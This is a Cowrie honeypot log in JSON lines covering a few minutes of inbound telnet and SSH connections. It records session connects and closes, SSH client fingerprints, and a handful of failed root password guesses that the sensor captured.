{"eventid":"cowrie.session.closed","duration":51.82638382911682,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:01.171122Z","src_ip":"192.119.13.58","session":"652b08d68438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.54319930076599,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:01.802165Z","src_ip":"192.119.13.58","session":"8eb4e7488a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58072,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a9960d916cc","protocol":"telnet","message":"New connection: 192.119.13.58:58072 (10.17.0.5:23) [session: 6a9960d916cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:07.631513Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41548,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a157fff72d9","protocol":"telnet","message":"New connection: 192.119.13.58:41548 (10.17.0.5:23) [session: 5a157fff72d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:10.558888Z"}
{"eventid":"cowrie.session.closed","duration":38.44067668914795,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:10.956493Z","src_ip":"192.119.13.58","session":"139911859d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43410,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c31730a15f","protocol":"telnet","message":"New connection: 192.119.13.58:43410 (10.17.0.5:23) [session: 59c31730a15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:11.007433Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47162,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde04b0b60f1","protocol":"telnet","message":"New connection: 192.119.13.58:47162 (10.17.0.5:23) [session: bde04b0b60f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:11.962787Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"215c7ee658a4","protocol":"telnet","message":"New connection: 192.119.13.58:52612 (10.17.0.5:23) [session: 215c7ee658a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:13.398116Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54382,"dst_ip":"10.17.0.5","dst_port":23,"session":"53bfe4d19f9b","protocol":"telnet","message":"New connection: 192.119.13.58:54382 (10.17.0.5:23) [session: 53bfe4d19f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:13.738330Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34972,"dst_ip":"10.17.0.5","dst_port":23,"session":"36980e9b790f","protocol":"telnet","message":"New connection: 192.119.13.58:34972 (10.17.0.5:23) [session: 36980e9b790f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:15.940305Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40464,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61be51bee70","protocol":"telnet","message":"New connection: 192.119.13.58:40464 (10.17.0.5:23) [session: e61be51bee70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:17.301007Z"}
{"eventid":"cowrie.session.closed","duration":39.84666657447815,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:17.316106Z","src_ip":"192.119.13.58","session":"bb33ba523754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41444,"dst_ip":"10.17.0.5","dst_port":22,"session":"a33dea3d27d7","protocol":"ssh","message":"New connection: 103.195.236.96:41444 (10.17.0.5:22) [session: a33dea3d27d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:18.462113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:18.467739Z","src_ip":"103.195.236.96","session":"a33dea3d27d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:18.708552Z","src_ip":"103.195.236.96","session":"a33dea3d27d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46550,"dst_ip":"10.17.0.5","dst_port":23,"session":"64de1914170e","protocol":"telnet","message":"New connection: 192.119.13.58:46550 (10.17.0.5:23) [session: 64de1914170e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:18.847508Z"}
{"eventid":"cowrie.session.closed","duration":41.584343671798706,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:19.266623Z","src_ip":"192.119.13.58","session":"92754e5e025c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"globus","message":"login attempt [root/globus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:19.436952Z","src_ip":"103.195.236.96","session":"a33dea3d27d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:20.680766Z","src_ip":"103.195.236.96","session":"a33dea3d27d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"15977b4b3e34","protocol":"telnet","message":"New connection: 192.119.13.58:56228 (10.17.0.5:23) [session: 15977b4b3e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:21.102877Z"}
{"eventid":"cowrie.session.closed","duration":39.04337406158447,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:25.297713Z","src_ip":"192.119.13.58","session":"77383cacf511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56642,"dst_ip":"10.17.0.5","dst_port":23,"session":"696d21dd6d3b","protocol":"telnet","message":"New connection: 192.119.13.58:56642 (10.17.0.5:23) [session: 696d21dd6d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:27.899796Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":43728,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbd051d6a2e3","protocol":"ssh","message":"New connection: 45.78.204.254:43728 (10.17.0.5:22) [session: bbd051d6a2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:36.324228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:36.328872Z","src_ip":"45.78.204.254","session":"bbd051d6a2e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.545849561691284,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:36.441961Z","src_ip":"192.119.13.58","session":"7e85d289d762","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:36.560003Z","src_ip":"45.78.204.254","session":"bbd051d6a2e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39202,"dst_ip":"10.17.0.5","dst_port":23,"session":"d776bb82d6b2","protocol":"telnet","message":"New connection: 192.119.13.58:39202 (10.17.0.5:23) [session: d776bb82d6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:37.122247Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn","message":"login attempt [root/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:38.716758Z","src_ip":"45.78.204.254","session":"bbd051d6a2e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.364665031433105,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:39.709989Z","src_ip":"192.119.13.58","session":"ce16f0579fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:39.975695Z","src_ip":"45.78.204.254","session":"bbd051d6a2e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47090,"dst_ip":"10.17.0.5","dst_port":23,"session":"911cc8c00e9a","protocol":"telnet","message":"New connection: 192.119.13.58:47090 (10.17.0.5:23) [session: 911cc8c00e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:45.773798Z"}
{"eventid":"cowrie.session.closed","duration":39.075971841812134,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:46.707347Z","src_ip":"192.119.13.58","session":"6a9960d916cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.192078828811646,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:49.154699Z","src_ip":"192.119.13.58","session":"bde04b0b60f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.14572620391846,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:50.153068Z","src_ip":"192.119.13.58","session":"59c31730a15f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05396842956543,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:50.451954Z","src_ip":"192.119.13.58","session":"215c7ee658a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.669987201690674,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:53.228736Z","src_ip":"192.119.13.58","session":"5a157fff72d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50637912750244,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:53.244574Z","src_ip":"192.119.13.58","session":"53bfe4d19f9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.44038367271423,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:53.380519Z","src_ip":"192.119.13.58","session":"36980e9b790f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55218,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c058c25b208","protocol":"telnet","message":"New connection: 192.119.13.58:55218 (10.17.0.5:23) [session: 0c058c25b208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:54.601811Z"}
{"eventid":"cowrie.session.closed","duration":35.41911005973816,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:56.521907Z","src_ip":"192.119.13.58","session":"15977b4b3e34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.04443025588989,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:49:58.345317Z","src_ip":"192.119.13.58","session":"e61be51bee70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.290876150131226,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:01.138181Z","src_ip":"192.119.13.58","session":"64de1914170e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59734,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e2af19940c6","protocol":"telnet","message":"New connection: 192.119.13.58:59734 (10.17.0.5:23) [session: 3e2af19940c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:02.655527Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33570,"dst_ip":"10.17.0.5","dst_port":23,"session":"4257dd483372","protocol":"telnet","message":"New connection: 192.119.13.58:33570 (10.17.0.5:23) [session: 4257dd483372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:03.176891Z"}
{"eventid":"cowrie.session.closed","duration":42.44044375419617,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:10.340129Z","src_ip":"192.119.13.58","session":"696d21dd6d3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.14027285575867,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:14.262380Z","src_ip":"192.119.13.58","session":"d776bb82d6b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332212686538696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:17.105852Z","src_ip":"192.119.13.58","session":"911cc8c00e9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43340,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae83f6e70baa","protocol":"telnet","message":"New connection: 192.119.13.58:43340 (10.17.0.5:23) [session: ae83f6e70baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:25.695898Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57128,"dst_ip":"10.17.0.5","dst_port":23,"session":"a333a17ee575","protocol":"telnet","message":"New connection: 192.119.13.58:57128 (10.17.0.5:23) [session: a333a17ee575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:28.916175Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60088,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbf69e8fcf6","protocol":"telnet","message":"New connection: 192.119.13.58:60088 (10.17.0.5:23) [session: 7dbf69e8fcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:29.642949Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36250,"dst_ip":"10.17.0.5","dst_port":23,"session":"f761dfcb15cb","protocol":"telnet","message":"New connection: 192.119.13.58:36250 (10.17.0.5:23) [session: f761dfcb15cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:30.681370Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46776,"dst_ip":"10.17.0.5","dst_port":23,"session":"fde24fe71358","protocol":"telnet","message":"New connection: 192.119.13.58:46776 (10.17.0.5:23) [session: fde24fe71358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:33.123832Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40152,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6e33663fc1","protocol":"telnet","message":"New connection: 192.119.13.58:40152 (10.17.0.5:23) [session: ac6e33663fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:38.087285Z"}
{"eventid":"cowrie.session.closed","duration":43.62126183509827,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:38.222961Z","src_ip":"192.119.13.58","session":"0c058c25b208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56560,"dst_ip":"10.17.0.5","dst_port":23,"session":"95802ac6cef6","protocol":"telnet","message":"New connection: 192.119.13.58:56560 (10.17.0.5:23) [session: 95802ac6cef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:42.052799Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59804,"dst_ip":"10.17.0.5","dst_port":22,"session":"3717403d4323","protocol":"ssh","message":"New connection: 103.15.222.183:59804 (10.17.0.5:22) [session: 3717403d4323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:44.235605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:44.241009Z","src_ip":"103.15.222.183","session":"3717403d4323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:44.505871Z","src_ip":"103.15.222.183","session":"3717403d4323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhctybq","message":"login attempt [root/fhctybq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:45.300950Z","src_ip":"103.15.222.183","session":"3717403d4323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:46.562121Z","src_ip":"103.15.222.183","session":"3717403d4323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.215673208236694,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:47.871045Z","src_ip":"192.119.13.58","session":"3e2af19940c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.53472971916199,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:50:51.711482Z","src_ip":"192.119.13.58","session":"4257dd483372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55354,"dst_ip":"10.17.0.5","dst_port":23,"session":"411583bd6040","protocol":"telnet","message":"New connection: 192.119.13.58:55354 (10.17.0.5:23) [session: 411583bd6040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:01.929350Z"}
{"eventid":"cowrie.session.closed","duration":37.34072828292847,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:06.256700Z","src_ip":"192.119.13.58","session":"a333a17ee575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47762,"dst_ip":"10.17.0.5","dst_port":23,"session":"13bc83eb6c2f","protocol":"telnet","message":"New connection: 192.119.13.58:47762 (10.17.0.5:23) [session: 13bc83eb6c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:06.830098Z"}
{"eventid":"cowrie.session.closed","duration":37.56686043739319,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:07.209690Z","src_ip":"192.119.13.58","session":"7dbf69e8fcf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.58706307411194,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:08.282841Z","src_ip":"192.119.13.58","session":"ae83f6e70baa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5268340110778809,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:08.356829Z","src_ip":"192.119.13.58","session":"13bc83eb6c2f","protocol":"telnet"}
